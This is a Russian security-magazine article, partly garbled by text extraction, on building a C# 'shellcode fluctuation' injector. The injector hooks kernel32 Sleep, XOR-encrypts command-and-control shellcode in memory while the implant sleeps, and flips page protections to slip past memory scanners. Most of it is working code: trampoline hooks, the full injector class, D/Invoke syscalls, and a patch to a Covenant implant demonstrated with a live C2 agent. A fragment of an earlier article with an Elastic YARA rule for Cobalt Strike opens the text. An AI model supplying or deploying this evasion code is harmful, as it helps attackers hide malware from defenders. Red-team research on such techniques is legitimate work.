 rule cobaltstrike_beacon_4_2_decrypt
{
meta:
     author = "Elastic"
     description = "Identifies deobfuscation routine used in Cobalt 
Strike Beacon DLL version 4.2."
strings:
                       
                 
$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9

75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
                       
                 
$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85

C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
condition:
      any of them
}

В сле дующих актах этой опе ры началась клас сичес кая игра в кош ки-мыш ки
меж ду напада ющи ми и защища ющи мися. В HelpSystems  отдель- 
ный  для того, что бы опе ратор мог изме нять дли ну мас ки
самос тоятель но, но это уже сов сем дру гая исто рия.

вы пус тили
Sleep Mask Kit

WWW

В статье  мож но уви деть,
как модифи кация дли ны клю ча XOR вли яет
на детек тирова ние пей лоада CS в памяти.

Sleeping with a Mask On

Но доволь но исто рии, пора подумать, как сде лать эту тех нику «бли же
к народу», и реали зовать подоб ное в опен сор сном инс тру мен тарии.

Продолжение статьи →

email:snovvcrash@protonmail.ch
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py
https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py
https://github.com/Mr-Un1k0d3r/SCShell/blob/master/scshell.py
https://github.com/Hackplayers/evil-winrm
https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz#ts
https://github.com/JLospinoso/gargoyle
https://labs.f-secure.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/
https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/
https://github.com/thefLink/DeepSleep
https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/
https://www.cobaltstrike.com/blog/cobalt-strike-3-12-blink-and-youll-miss-it/
https://gist.github.com/tothi/8abd2de8f4948af57aa2d027f9e59efe
https://twitter.com/an0n_r0
https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures
https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5/
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/artifacts-antivirus_sleep-mask-kit.htm
https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/


ФЛУКТУАЦИЯ

ШЕЛЛ-КОДА
ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО

ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ
В ПАМЯТИ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÔËÓÊÒÓÀÖÈß ØÅËË-ÊÎÄÀ ÍÀ GITHUB

Два неверо ятно кру тых про екта на прос торах GitHub, которые еще дав но
прив лекли мое вни мание, — это  авторс тва  (идет
вмес те ) и , соз данный

, у которо го я поза имс тво вал наз вание для этой статьи. Ни в коем
слу чае не пре тен дую на авторс тво, прос то мне кажет ся, что сло ва «флук- 
туирующий шелл-код» отлично годят ся для наиме нова ния это го семей ства
тех ник в целом.

SleepyCrypt @SolomonSklash
с пояс нитель ной запис кой ShellcodeFluctuation

@mariuszbit

SleepyCrypt — это PoC, который мож но воору жить при соз дании собс твен- 
ного C2-фрей мвор ка (на выходе име ем позици онно незави симый шелл-код,
сам себя шиф рующий и рас шифро выва ющий), а ShellcodeFluctuation —
«самодос таточ ный» инжектор, который мож но исполь зовать с готовым
шелл-кодом сущес тву юще го C2. К пос ледне му мы будем стре мить ся
при написа нии чего-то подоб ного на С#, а пока раз берем, как устро ен
ShellcodeFluctuation.

ShellcodeFluctuation

Са мое важ ное для нас — понять, как реали зует ся перех ват управле ния обыч- 
ным Sleep (который ) и пере опре деля ется его поведе ние
на «шиф ровать, пос пать, рас шифро вать». Как ты уже мог понять, мы будем
говорить об осно вах тех ники Inline API Hooking (MITRE ATT&CK ).

kernel32!Sleep

T1617
Хо роший базовый при мер реали зации хукин га (как и мно гих дру гих тех ник

мал дева) есть на , но мы раз берем упро щен ный при- 
мер на осно ве самого ShellcodeFluctuation, что бы быть готовым к его пор- 
тирова нию на C#. Вмес то Sleep пока будем хукать фун кцию 

 для более наг лядной демонс тра ции резуль тата.

Red Teaming Experiments

kernel32!
MessageBoxA

В сущ ности, нас инте ресу ют две фун кции, ответс твен ные за перех ват
.MessageBoxA

fastTrampoline

Фун кция  выпол няет запись ассем блер ных инс трук ций (име- 
нуемых «трам пли ном») по адре су рас положе ния фун кции  биб- 

лиоте ки kernel32.dll. Она уже заг ружена в память целево го про цес са, куда
будет внед рен шелл-код (в нашем слу чае мы ори енти руем ся на self-инъ- 
екцию, поэто му пат чить kernel32.dll будем в текущем про цес се). При уста нов- 
ке хука инжектор переза писы вает начало инс трук ций  трам пли- 

ном, содер жащим безус ловный «джамп» на нашу собс твен ную реали зацию
 ( ). Во вре мя сня тия хука (за это тоже ответс твен- 

на фун кция ) трам плин переза писы вает ся ори гиналь ными

бай тами из начала фун кции , которые пред варитель но были сох- 

ранены во вре мен ный буфер.

fastTrampoline
MessageBoxA

MessageBoxA

MessageBoxA MyMessageBoxA
fastTrampoline

MessageBoxA

Со дер жимое трам пли на — это две прос тые ассем блер ные инс трук ции
(записать адрес пере опре делен ной фун кции в регистр и выпол нить jmp),
ассем бли рован ные в машин ный код и записан ные в мас сив бай тов в фор- 
мате little-endian.

Ре зуль тат сбор ки с :defuse.ca

 

 

 

 

{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 
0xFF, 0xE2 }

Disassembly:

0:  49 ba 37 13 d3 c0 4d    movabs r10,0x1337d34dc0d31337 
7:  d3 37 13 
a:  41 ff e2                jmp    r10

А вот и сам код:

// https://github.com/mgeeky/ShellcodeFluctuation/blob/
cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.
cpp#L178-L262

      
  

bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID
jumpAddress, HookTrampolineBuffers* buffers)
{
   // Шаблон нашего трамплина с 8 нулевыми байтами, выполняющими 
роль заглушки под джамп-адрес
      uint8_t trampoline[] = {

                 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// mov r10, addr

         0x41, 0xFF, 0xE2                                            
// jmp r10
   };

   // Патчим трамплин байтами джамп-адреса
      uint64_t addr = (uint64_t)(jumpAddress);
     memcpy(&trampoline[2], &addr, sizeof(addr));

      DWORD dwSize = sizeof(trampoline);
      DWORD oldProt = 0;
      bool output = false;

     if (installHook) // если в режиме установки хука
   {

          if (buffers != NULL)
           // Сохраняем во временный буфер то, что мы собираемся 
перезаписать трамплином

             memcpy(buffers->previousBytes, addressToHook, buffers->
previousBytesSize);

       // Разрешаем себе изменять память по addressToHook
        if (::VirtualProtect(

           addressToHook,
           dwSize,
           PAGE_EXECUTE_READWRITE,
           &oldProt))
       {
           // Устанавливаем наш хук (просто копируем его содержимое 
в нужное место)

             memcpy(addressToHook, trampoline, dwSize);
             output = true;

       }
   }
    else // если в режиме снятия хука
   {

         dwSize = buffers->originalBytesSize;

       // Также разрешаем себе изменять память по addressToHook
        if (::VirtualProtect(

           addressToHook,
           dwSize,
           PAGE_EXECUTE_READWRITE,
           &oldProt))
       {
           // Восстанавливаем то, что было там изначально (до 
записи трамплина)

             memcpy(addressToHook, buffers->originalBytes, dwSize);
             output = true;

       }
   }

   // Возвращаем маркировку защиты памяти в первоначальное состояние
   ::VirtualProtect(
       addressToHook,
       dwSize,
       oldProt,
       &oldProt
   );

    return output;
}

MyMessageBoxA

 — наша фун кция, пере опре деля ющая поведе ние ори гиналь- 
ного , адрес которой будет записан в шаб лон трам пли на и на

которую мы «прыг нем» при легитим ном вызове .

MyMessageBoxA
MessageBoxA

MessageBoxA
В качес тве демонс тра ции мы вызовем  с одним сооб щени ем,

а модаль ное окно отри сует сов сем дру гое.
MessageBoxA

// https://github.com/mgeeky/ShellcodeFluctuation/blob/
cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.
cpp#L11-L65

        
 

void WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,
UINT uType)
{
        HookTrampolineBuffers buffers = { 0 };
     buffers.originalBytes = g_hookedMessageBoxA.msgboxStub;
     buffers.originalBytesSize = sizeof(g_hookedMessageBoxA.msgboxStub
);

   // Снимаем хук, чтобы далее вызвать оригинальную функцию 
MessageBoxA
     
 

fastTrampoline(false, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA
, &buffers);

      ::MessageBoxA(NULL, "You've been pwned!", "][AKEP", MB_OK);

   // Снова вешаем хук
      fastTrampoline(true, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA,
NULL);
}

Ðåçóëüòàò

По лагаю, что здесь все ясно без лиш них объ ясне ний.

API Hooking фун кции MessageBoxA

ÏÈËÈÌ ÑÂÎÉ ÔËÓÊÒÓÀÒÎÐ ÍÀ Ñ# 

Идея реали зации этой тех ники на C# приш ла ко мне пос ле 
, где он исполь зовал биб лиоте ку  для PoC-флук- 

туато ра.

тви та
@_RastaMouse MinHook.NET

PoC от @_RastaMouse (изоб ражение — twitter.com)

Что ж, мы можем поп робовать сде лать что-то подоб ное, но без тяжело вес ной
зависи мос ти в виде MinHook.NET, которую не хотелось бы вклю чать
в инжектор. Так как я пла нирую запус кать финаль ный код из памяти через
PowerShell, лиш нее бес покой ство AMSI вызывать ни к чему.

Объ яснять, как ты писал код, в тек сте статьи всег да неп росто, поэто му
пос тупим так: спер ва наметим такой же кар кас прог раммы, как на скрин шоте
выше, а затем реали зуем недос тающую логику.

Ïðîòîòèïèðîâàíèå

Итак, вот что я получил в качес тве схе матич ного наб роска кода:

 using System;
 using System.IO;
 using System.Diagnostics;
 using System.Runtime.InteropServices;
 using System.Threading;

 namespace FluctuateInjector
{
    class Program
   {
       // Классическая инъекция шелл-кода в текущий процесс

          static void Main(string[] args)
       {

              var shellcodeBytes = File.ReadAllBytes(@"C:\Users\
snovvcrash\Desktop\dllSleep.bin");

              var shellcodeLength = shellcodeBytes.Length;

           // Выделяем область памяти в адресном пространстве 
текущего процесса инжектора (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 
= PAGE_EXECUTE_READWRITE)

    
  

           var shellcodeAddress = Win32.VirtualAlloc(IntPtr.Zero, (
IntPtr)shellcodeLength, 0x3000, 0x04);
           // и копируем туда байты шелл-кода

              Marshal.Copy(shellcodeBytes, 0, shellcodeAddress,
shellcodeLength);

           // Репротект памяти после записи шелл-кода (0x20 = 
PAGE_EXECUTE_READ)

 
   

           Win32.VirtualProtect(shellcodeAddress, (uint)
shellcodeLength, 0x20, out _);

           // Хукаем Sleep
                var fs = new FluctuateShellcode(shellcodeAddress,

shellcodeLength);
           fs.EnableHook();

           // Начинаем исполнение шелл-кода созданием нового потока
     

   
           var hThread = Win32.CreateThread(IntPtr.Zero, 0,
shellcodeAddress, IntPtr.Zero, 0, IntPtr.Zero);

            Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);

           // Снимаем хук
           fs.DisableHook();
       }
   }

    class FluctuateShellcode
   {

          delegate void Sleep(uint dwMilliseconds);
         readonly Sleep sleepOrig;
         readonly GCHandle gchSleepDetour;

          readonly IntPtr sleepOriginAddress, sleepDetourAddress;
             readonly byte[] sleepOriginBytes = new byte[16],

sleepDetourBytes;

          readonly byte[] trampoline =
       {

         
 

           0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, // mov r10, addr

             0x41, 0xFF, 0xE2
                                           // jmp r10
       };

         readonly IntPtr shellcodeAddress;
         readonly int shellcodeLength;
         readonly byte[] xorKey;

           public FluctuateShellcode(IntPtr shellcodeAddr, int
shellcodeLen)

        { }

       ~FluctuateShellcode()
        { }

       // Наш переопределенный Sleep
         void SleepDetour(uint dwMilliseconds)

        { }

       // Установка хука
         public bool EnableHook()

        { }

       // Снятие хука
         public bool DisableHook()

        { }

       // Функция, отвечающая за флипы памяти на RW/NA
         void ProtectMemory(uint newProtect)

        { }

       // Обфускация памяти шелл-кода простым XOR-шифрованием
        void XorMemory()

        { }

       // Генерация ключа для XOR-шифрования
        byte[] GenerateXorKey()

        { }
   }

   // Необходимый набор Win32 API
    class Win32
   {
       [DllImport("kernel32")]

      
     

       public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
IntPtr dwSize, uint flAllocationType, uint flProtect);

       [DllImport("kernel32.dll")]
      

      
       public static extern bool VirtualProtect(IntPtr lpAddress,
uint dwSize, uint flNewProtect, out uint lpflOldProtect);

       [DllImport("kernel32.dll")]
     

      
    

       public static extern IntPtr CreateThread(IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

       [DllImport("kernel32.dll")]
     

  
       public static extern UInt32 WaitForSingleObject(IntPtr
hHandle, UInt32 dwMilliseconds);

       [DllImport("kernel32")]
      

 
       public static extern IntPtr GetProcAddress(IntPtr hModule,
string procName);

       [DllImport("kernel32")]
            public static extern IntPtr LoadLibrary(string name);

       [DllImport("kernel32.dll")]
     

    
       public static extern bool FlushInstructionCache(IntPtr
hProcess, IntPtr lpBaseAddress, uint dwSize);
   }
}

Вро де пока все более-менее проз рачно. Единс твен ное, что надо уточ нить, —
это какой шелл-код мы возь мем для тес тирова ния.

Все прос то: ском пилиру ем DLL из дефол тных пре сетов Visual Studio
с единс твен ной выпол няемой опе раци ей —  на 5 с — и прев ратим ее
в шелл-код.

Sleep

WWW

sRDI (Shellcode Reective DLL Injection) —
логичес кое про дол жение тех ник  и 

, поз воля ющее генери ровать позици онно
незави симый шелл-код из биб лиоте ки DLL:

RDI Improved
RDI

•sRDI — Shellcode Reective DLL Injection —
NetSPI

•monoxgas/sRDI: Shellcode implementation
of Reective DLL Injection. Convert DLLs
to position independent shellcode

Для это го понадо бит ся код самой DLL:

// dllSleep.cpp
#include "pch.h"

    BOOL APIENTRY DllMain( HMODULE hModule,
                        DWORD ul_reason_for_call,
                       LPVOID lpReserved

                    )
{
    switch (ul_reason_for_call)
   {
    case DLL_PROCESS_ATTACH:

           while (TRUE) { Sleep(5000); }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
       break;
   }
    return TRUE;
}

И  шелл-кода из DLL:ге нера тор

 

 

PS > curl 
https://github.com/monoxgas/sRDI/raw/master/Python/ShellcodeRDI.py -o 
ShellcodeRDI.py 
PS > curl 
https://github.com/monoxgas/sRDI/raw/master/Python/ConvertToShellcode.py 
-o ConvertToShellcode.py 
PS > python ConvertToShellcode.py -i dllSleep.dll 
Creating Shellcode: dllSleep.bin

Шелл-код для тес тов у нас готов. Не пережи вай, как толь ко закон чим
с инжекто ром, про тес тим все на боевом C2.

Ðåàëèçàöèÿ

Кар кас инжекто ра есть, дело за малым — напол нить методы клас са
 смыс ловой наг рузкой. Будем идти по нашей «рыбе»

сни зу вверх.

FluctuateShellcode

FluctuateShellcode.GenerateXorKey

Здесь все оче вид но — сге нери руем пос ледова тель ность бай тов, которая
будет нак ладывать ся на бай ты шелл-кода . Пом ня
о несовер шенс тве пер вой вер сии тех ники Obfuscate and Sleep в Cobalt Strike,
из-за которой при сутс твие бикона мож но было рас познать YARA-пра вилом,
осно выва ясь на дли не пов торя юще гося клю ча, я реали зую шиф рование XOR
в режиме . В этом слу чае раз мер клю ча равен раз- 
меру шиф ротек ста, то есть дли не шелл-кода (бла го шелл-коды обыч но
неболь шие, поэто му «лагов» и «фри зов» быть не дол жно).

как шиф рующая гам ма

од норазо вого блок нота

 byte[] GenerateXorKey()
{
       Random rnd = new Random();
       byte[] xorKey = new byte[shellcodeLength];
   rnd.NextBytes(xorKey);
    return xorKey;
}

FluctuateShellcode.XorMemory

По ка тоже вро де нет рудно: нак ладыва ем шиф рующую гам му на сег мент
памяти, содер жащий бай ты шелл-кода.

 void XorMemory()
{
       byte[] data = new byte[shellcodeLength];
      Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
              for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
      Marshal.Copy(data, 0, shellcodeAddress, data.Length);
}

FluctuateShellcode.ProtectMemory

В реали зации этой фун кции выбор оста ется за читате лем: либо исполь зуй
VirtualProtect из Win32 API с помощью , либо 

 исполь зуй  и сис темные вызовы, как мы делали это,
.

P/Invoke ес ли хочешь быть самым
кру тым хакером D/Invoke
ког да модер низиро вали KeeThief

При мер с P/Invoke:

  void ProtectMemory(uint newProtect)
{
      

  
if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength,

newProtect, out _))

   
  

       Console.WriteLine("(FluctuateShellcode) [DEBUG] 
Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.
ToInt64()) + $" to {newProtect}");
   else

         throw new Exception("(FluctuateShellcode) [-] VirtualProtect"
);
}

При мер с D/Invoke:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
  delegate DoItDynamicallyBabe.Native.NTSTATUS NtProtectVirtualMemory(

    IntPtr ProcessHandle,
     ref IntPtr BaseAddress,
     ref IntPtr RegionSize,
    uint NewProtect,
     ref uint OldProtect);

  void ProtectMemory(uint newProtect)
{
      IntPtr stub = GetSyscallStub("NtProtectVirtualMemory");
      

 
NtProtectVirtualMemory ntProtectVirtualMemory = (

NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub,
typeof(NtProtectVirtualMemory));
      IntPtr protectAddress = shellcodeAddress;
      IntPtr regionSize = (IntPtr)shellcodeLength;
      uint oldProtect = 0;

      var result = ntProtectVirtualMemory(
       Process.GetCurrentProcess().Handle,

        ref protectAddress,
        ref regionSize,

       newProtect,
        ref oldProtect);

      if (ntstatus == NTSTATUS.Success)

   
  

       Console.WriteLine("(FluctuateShellcode) [DEBUG] 
Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.
ToInt64()) + $" to {newProtect}");
   else

         throw new Exception($"(FluctuateShellcode) [-] 
NtProtectVirtualMemory: {ntstatus}");
}

Продолжение статьи →
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ФЛУКТУАЦИЯ

ШЕЛЛ-КОДА
ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО

ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ
В ПАМЯТИ

COVERSTORY  НАЧАЛО СТАТЬИ←

FluctuateShellcode.DisableHook

Фун кция сня тия хука — то есть переза пись трам пли на содер жимым ори- 
гиналь ного , которое мы береж но хра ним в поле .

И сно ва мож но исполь зовать P/Invoke или более мод ный D/Invoke для работы
с API.

Sleep sleepOriginBytes

  public bool DisableHook()
{
      bool unhooked = false;
    if (Win32.VirtualProtect(
       sleepOriginAddress,
       (uint)sleepOriginBytes.Length,

        0x40, // 0x40 = PAGE_EXECUTE_READWRITE
         out uint oldProtect))

   {
          Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress,

sleepOriginBytes.Length);
         unhooked = true;

   }

      bool flushed = false;
    if (Win32.FlushInstructionCache(
       Process.GetCurrentProcess().Handle,
       sleepOriginAddress,
       (uint)sleepOriginBytes.Length))
   {

         flushed = true;
   }

   Win32.VirtualProtect(
       sleepOriginAddress,
       (uint)sleepOriginBytes.Length,
       oldProtect,

        out _);

      return unhooked && flushed;
}

INFO

Ес ли мы изме няем код, уже заг ружен ный
в память, Microsoft говорит, что мы дол жны
исполь зовать фун кцию , —
в про тив ном слу чае кеш ЦП может помешать ОС
уви деть изме нения.

FlushInstructionCache

FluctuateShellcode.EnableHook

То же самое, что и , толь ко в этот раз мы переза писы ваем
исходный  трам пли ном:

DisableHook
Sleep

  public bool EnableHook()
{
      bool hooked = false;
    if (Win32.VirtualProtect(
       sleepOriginAddress,
       (uint)trampoline.Length,

        0x40, // 0x40 = PAGE_EXECUTE_READWRITE
         out uint oldProtect))

   {
          Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.

Length);
         hooked = true;

   }

      bool flushed = false;
    if (Win32.FlushInstructionCache(
       Process.GetCurrentProcess().Handle,
       sleepOriginAddress,
       (uint)trampoline.Length))
   {

         flushed = true;
   }

   Win32.VirtualProtect(
       sleepOriginAddress,
       (uint)trampoline.Length,
       oldProtect,

        out _);

      return hooked && flushed;
}

FluctuateShellcode.SleepDetour

Сер дце нашей флук туации — изме нен ная фун кция , которая будет

перех ватывать управле ние в момент «засыпа ния» аген та. По содер жимому
тела фун кции понят но, что она дела ет.

Sleep

  void SleepDetour(uint dwMilliseconds)
{
   DisableHook();
    ProtectMemory(0x04); // 0x04 = PAGE_READWRITE
   XorMemory();

   sleepOrig(dwMilliseconds);

   XorMemory();
    ProtectMemory(0x20); // 0x20 = PAGE_EXECUTE_READ
   EnableHook();
}

Êîíñòðóêòîð è äåñòðóêòîð

Так как мы решили поль зовать ся пре иму щес тва ми ООП в C#, в конс трук торе
мы реали зуем вычис ление необ ходимых адре сов и содер жимого, находя- 
щего ся по этим адре сам:

    public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)
{
   // Получаем адрес оригинальной функции Sleep
     

 
sleepOriginAddress = Win32.GetProcAddress(Win32.LoadLibrary(

"kernel32.dll"), "Sleep");
   // Инициализируем делегат для возможности обращаться к этой 
функции по ее адресу
     

 
sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer(

sleepOriginAddress, typeof(Sleep));

   // Бэкапим первые 16 байт оригинальной функции Sleep
      Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16);

   // Получаем адрес метода SleepDetour, которым будет пропатчен 
шаблон трамплина
       var sleepDetour = new Sleep(SleepDetour);
     sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(
sleepDetour);
     gchSleepDetour = GCHandle.Alloc(sleepDetour);

        using (var ms = new MemoryStream())
        using (var bw = new BinaryWriter(ms))
   {
       // Составляем little-endian-адрес sleepDetourAddress в виде 
байтового массива
       bw.Write((ulong)sleepDetourAddress);

         sleepDetourBytes = ms.ToArray();
   }

   // Патчим этим адресом шаблон трамплина
           for (var i = 0; i < sleepDetourBytes.Length; i++)

           trampoline[i + 2] = sleepDetourBytes[i];

   // Инициализируем другие оставшиеся поля класса 
FluctuateShellcode, к которым должны иметь доступ его методы
     shellcodeAddress = shellcodeAddr;
     shellcodeLength = shellcodeLen;
     xorKey = GenerateXorKey();
}

Важ ный момент, на котором сто ит оста новить ся отдель но: так как мы работа- 
ем с  сре дой .NET, адрес метода  будет недос- 
тупен для неуп равля емо го кода, если толь ко мы явно не поп росим его
таковым быть. Здесь на помощь при ходит хендл , дающий спо соб
получить дос туп к управля емо му объ екту из неуп равля емой памяти (под смот- 
рел в  на Stack Overow).

óï ðàâëÿ åìîé SleepDetour

GCHandle

этом отве те
Ме тод  зап реща ет сбор щику мусора тро гать

адрес-делегат , тем самым «фик сируя» его на все вре- 
мя работы инжекто ра. Что бы отпустить удер живание адре са, мы исполь зуем
дес трук тор:

GCHandle.Alloc
sleepDetourAddress

~FluctuateShellcode()
{
    if (gchSleepDetour.IsAllocated)
       gchSleepDetour.Free();

   DisableHook();
}

Òåñòèðîâàíèå

Вре мя лабора тор ных испы таний. Что бы успеть уви деть фли пы и шиф рование
памяти в Process Hacker, я добав лю инс трук цию 

в начало фун кции . Ском пилиру ем про ект (обя затель но в x64)

и запус тим.

Thread.Sleep(5000)
SleepDetour

Спер ва смот рим на содер жимое области памяти с шелл-кодом, которое
шиф рует ся при каж дом вызове .Sleep

Об фуска ция области памяти с шелл-кодом

Еще одно демо, на котором вид на переза пись памяти kernel32.dll: трам плин
сме няет ся ори гиналь ным содер жимым и наобо рот.

Ус танов ка и сня тие хука Sleep

Тес ты в кон тро лиру емой сре де прой дены, вре мя для полевых испы таний!

ÈÑÏÎËÜÇÎÂÀÍÈÅ Ñ ÀÃÅÍÒÎÌ C2

Для демонс тра ции работы инжекто ра с реаль ным C2 спер ва нуж но опре- 
делить ся с фрей мвор ком, который мы будем исполь зовать. Показы вать
работу флук туато ра с Cobalt Strike бес смыс ленно (хотя с ней он тоже работа- 
ет), ведь изна чаль ной целью было научить ся встра ивать обсужда емую тех- 
нику в open source про екты, да и  в све жих вер сиях «Кобы»

работа ет как надо.

sleep_mask

Итак, какой же C2 нам выб рать? Агент Meterpreter пол ностью инте рак- 
тивный и не исполь зует  (пра вить сор цы Meterpreter — уволь те, нет),

 не име ет stageless-имплан тов, и его код час тично зак рыт, а в 
генери рует слиш ком боль шой шелл-код из-за осо бен ностей язы ка,
на котором он написан (это Go, ага).

Sleep
PoshC2 Sliver

Мой выбор пал на , для которо го  недав но ,
как соз давать stageless-имплан ты. Отличный кан дидат, как по мне!

Covenant @ShitSecure по казал

Я заг ружу  кас томно го stageless-имплан та и изме ню в нем задер жки
(Delays), реали зован ные через , на пол ноцен ный вызов 

из kernel32.dll.

код
Thread.Sleep Sleep

Thread.Sleep → kernel32!Sleep

Вот такой патч у меня получил ся, если кто-то захочет пов торить:

14a15
> using System.Runtime.InteropServices;
277a279,281
>         [DllImport("kernel32.dll")]
>         static extern void Sleep(int dwMilliseconds);
>
354c358
<                     Thread.Sleep((Delay + change) * 1000);
---
>                     Sleep((Delay + change) * 1000);
430c434
<                                     Thread.Sleep(3000);
---
>                                     Sleep(3000);

Да лее я залоги нюсь в Covenant и соз дам новый тем плейт.

До бав ление stageless-аген та в Covenant

Те перь соз даем новые Listener и Launcher в фор мате шелл-кода на осно ве
добав ленно го тем плей та.

Ге нера ция шелл-кода в Covenant

Ос тает ся заменить  путем до нового шелл-кода, и мож но
запус кать инжектор!

sleepDll.bin

You’ve poped a (uctuating) shell!

Ес ли прос каниро вать область памяти, содер жащей шелл-код, с помощью
, мож но видеть, что мы изба вились от одно го из самых показа тель ных

инди като ров зараже ния — исполня емой при ват ной памяти.
Moneta

Ни како го Abnormal private executable memory

И разуме ется, я не мог не пор тировать соз данный код на D/Invoke и не вклю- 
чить его в свой инжектор, который зачас тую исполь зую на про ектах.

Де мо

ÁÎÍÓÑ. ÐÅÀËÈÇÀÖÈß API HOOKING Ñ ÏÎÌÎÙÜÞ MINIHOOK.NET

В качес тве бонуса оставлю здесь реали зацию клас са флук туато ра, которая
исполь зует MiniHook.NET. Можешь сам оце нить, силь но ли умень шил ся объ- 
ем кода.

 class FluctuateShellcodeMiniHook
{
   // using MinHook; // https://github.com/CCob/MinHook.NET

      delegate void Sleep(uint dwMilliseconds);
     readonly Sleep sleepOrig;
     readonly HookEngine hookEngine;

     readonly uint fluctuateWith;
     readonly IntPtr shellcodeAddress;
     readonly int shellcodeLength;
     readonly byte[] xorKey;

       
  

public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr
shellcodeAddr, int shellcodeLen)
   {

          hookEngine = new HookEngine();
    

 
       sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep",
new Sleep(SleepDetour));

         fluctuateWith = fluctuate;
         shellcodeAddress = shellcodeAddr;
         shellcodeLength = shellcodeLen;

         xorKey = GenerateXorKey();
   }

   ~FluctuateShellcodeMiniHook()
   {
       hookEngine.DisableHooks();
   }

     public void EnableHook()
   {
       hookEngine.EnableHooks();
   }

     public void DisableHook()
   {
       hookEngine.DisableHooks();
   }

     void SleepDetour(uint dwMilliseconds)
   {
       ProtectMemory(fluctuateWith);
       XorMemory();

       sleepOrig(dwMilliseconds);

       XorMemory();
       ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ);
   }

     void ProtectMemory(uint newProtect)
   {

  
   

       if (Win32.VirtualProtect(shellcodeAddress, (uint)
shellcodeLength, newProtect, out _))

   
  

           Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG] 
Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.
ToInt64()) + $" to {newProtect}");
       else

             throw new Exception("(FluctuateShellcodeMiniHook) [-] 
VirtualProtect");
   }

    void XorMemory()
   {

           byte[] data = new byte[shellcodeLength];
          Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);

                  for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
          Marshal.Copy(data, 0, shellcodeAddress, data.Length);

   }

    byte[] GenerateXorKey()
   {

           Random rnd = new Random();
           byte[] xorKey = new byte[shellcodeLength];

       rnd.NextBytes(xorKey);
        return xorKey;

   }
}

ÂÛÂÎÄÛ

Мы разоб рали базовые осно вы тех ники Inline API Hooking и пор тирова ли
инжектор флук туирующе го шелл-кода на C# для обхо да сиг натур ного ска- 
ниро вания памяти.

За мечу, что разоб ранный код все еще оста ется «доказа тель ством кон- 
цепции» и не сто ит ожи дать от него вол шебных воз можнос тей обхо да зре лых
AV и EDR пря мо «из короб ки» (все же мы исполь зовали наибо лее баналь ную
тех нику инжекта). Можешь обра тить вни мание на более прод винутые тех ники
инжекта шелл-кода, как, нап ример,  или ,
и ком биниро вать их с тех никой флук туирующе го шелл-кода.

Module Stomping ThreadStackSpoofer

В завер шение — минут ка саморек ламы (да прос тит меня глав ред). Недав- 
но я завел  с репос тами новос тей из твит тера на тему нас- 
тупатель ной безопас ности, так что милос ти про сим.

ка нал в Telegram

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-flushinstructioncache
https://docs.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.gchandle?view=net-6.0
https://stackoverflow.com/a/8496328/6253579
https://github.com/nettitude/PoshC2
https://github.com/BishopFox/sliver
https://github.com/cobbr/Covenant
https://twitter.com/ShitSecure
https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/
